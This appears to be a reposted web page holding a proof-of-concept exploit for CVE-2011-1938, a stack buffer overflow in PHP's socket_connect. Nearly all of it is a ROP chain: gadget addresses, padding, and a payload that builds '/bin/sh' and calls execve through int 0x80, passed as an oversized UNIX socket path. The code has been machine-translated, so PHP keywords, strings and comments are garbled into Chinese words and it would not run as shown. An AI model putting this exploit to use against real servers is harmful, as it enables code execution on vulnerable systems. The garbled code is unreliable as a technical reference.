PHP 5.3.6缓冲区溢出POC（ROP）的CVE[网络技术]

<?PHP
/ *
 
** xiaolandjj@qq.com
 
** http://bbs.xxoxo.org
 
** 2011年7月15日
 
**基于仓库的缓冲区溢出,在ext /插座/ sockets.c socket_connect功效
 
在PHP 5.3.3到5.3.6大概依靠于上下文的攻击者履行肆意
 
**代码通过UNIX套接字的途径名.
 
**由:小兰
 
* /
 
 
回声“[+] PHP 5.3.6缓冲区溢出的POC（ROP）的\ N”;
 
回声“[+] CVE - 2011 - 1938 \ N \ N”;
 
 
＃/ usr / bin中/ PHP的小工具
 
定义（“哑”,“\ X42 \ X42 \ X42 \ X42”）; / /填充
 
定义（“栈”,“\ X20 \ XBA \ X74 \ X08”）; / /数据0x46a0 0x874ba20
 
定义（“STACK4”,“中\ X24 \ XBA \ X74 \ X08”）; / / STACK + 4
 
定义（“STACK8”,“\ X28 \ XBA \ X74 \ X08”）; / /栈+ 8
 
定义（“STACK12”,“\ x3c \ XBA \ X74 \ X08”）; / /栈+ 12
 
定义（INT_80“,”\ X27 \ xb6 \ X07 \ X08“）; / / 0x0807b627:INT 0x80的
 
定义（“INC_EAX”,“\ X66 \ X50 \ \ X08 x0f”）; / / 0x080f5066:INC％eax中| RET
 
定义（“XOR_EAX',”\ X60 \ XB4 \ X09 \ X08“）; / / 0x0809b460:XOR EAX％,％eax中| RET
 
定义（“MOV_A_D”,“\ X84 \ x3e \ X12 \ X08”）; / / 0x08123e84:MOV EAX％,（％edx中）| RET
 
定义（“POP_EBP”,“\ xc7 \ X48 \ X06 \ X08”）; / / 0x080648c7:弹出％EBP | RET
 
定义（“MOV_B_A',”\ X18 \ X45 \ X06 \ X08“）; / / 0x08064518:MOV的％ebp,％eax中|弹出％EBX |弹出％ESI |弹出％EDI |弹出％EBP | RET
 
定义（“MOV_DI_DX',”\ X20 \ X26 \ X07 \ X08“）; / / 0x08072620:MOV％EDI,％edx中|弹出％ESI |弹出％EDI |弹出％EBP | RET
 
定义（“POP_EDI”,“\ X23 \ X26 \ X07 \ X08”）; / / 0x08072623:弹出％EDI |弹出％EBP | RET
 
定义（“POP_EBX”,“\ x0f \ x4d \ X21 \ X08”）; / / 0x08214d0f:弹出％EBX |弹出％ESI |弹出％EDI |弹出％EBP | RET
 
定义（“XOR_ECX”,“\ XE3 \ X3B \ x1f \ X08”）; / / 0x081f3be3:XOR％ECX,％ecx中|弹出％EBX | MOV ECX％,％eax中|弹出％ESI |弹出％EDI |弹出％ EBP | RET
 
 
美圆padd = str_repeat（“A”,196）;
 
 
为有效载荷= POP_EDI./ /弹出％EDI
 
仓库./ / 0x874ba20
 
假人./ /弹出的％ebp
 
MOV_DI_DX.％/ / MOV EDI,EDX％
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
“/ / BI”./ /弹出的％ebp
 
MOV_B_A./ / MOV的％ebp,％eax中
 
假人./ /弹出％ebx中
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
假人./ /弹出的％ebp
 
MOV_A_D.％/ / MOV EAX,（％edx中）
 
POP_EDI./ /弹出％EDI
 
STACK4./ / 0x874ba24
 
假人./ /弹出的％ebp
 
MOV_DI_DX.％/ / MOV EDI,EDX％
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
“N / sh”的./ /弹出的％ebp
 
MOV_B_A./ / MOV的％ebp,％eax中
 
假人./ /弹出％ebx中
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
假人./ /弹出的％ebp
 
MOV_A_D.％/ / MOV EAX,（％edx中）
 
POP_EDI./ /弹出％EDI
 
STACK8./ / 0x874ba28
 
假人./ /弹出的％ebp
 
MOV_DI_DX.％/ / MOV EDI,EDX％
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
假人./ /弹出的％ebp
 
XOR_EAX.％/ / XOR EAX,％eax中
 
MOV_A_D.％/ / MOV EAX,（％edx中）
 
XOR_ECX./ / XOR％,EC​​X,ECX％
 
假人./ /弹出％ebx中
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI
 
假人./ /弹出的％ebp
 
POP_EBX./ /弹出％ebx中
 
仓库./ / 0x874ba20
 
假人./ /弹出％ESI
 
假人./ /弹出％EDI

假人./ /弹出的％ebp
 
XOR_EAX.％/ / XOR EAX,％eax中
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INC_EAX./ / INC EAX％
 
INT_80; / / INT 0x80的美圆
 
 
险恶= $ padd美圆的有效载荷.
 
 
$ FD = socket_create（AF_UNIX,SOCK_STREAM,1）;
 
$ RET = socket_connect（FD,险恶美圆）;
 
?>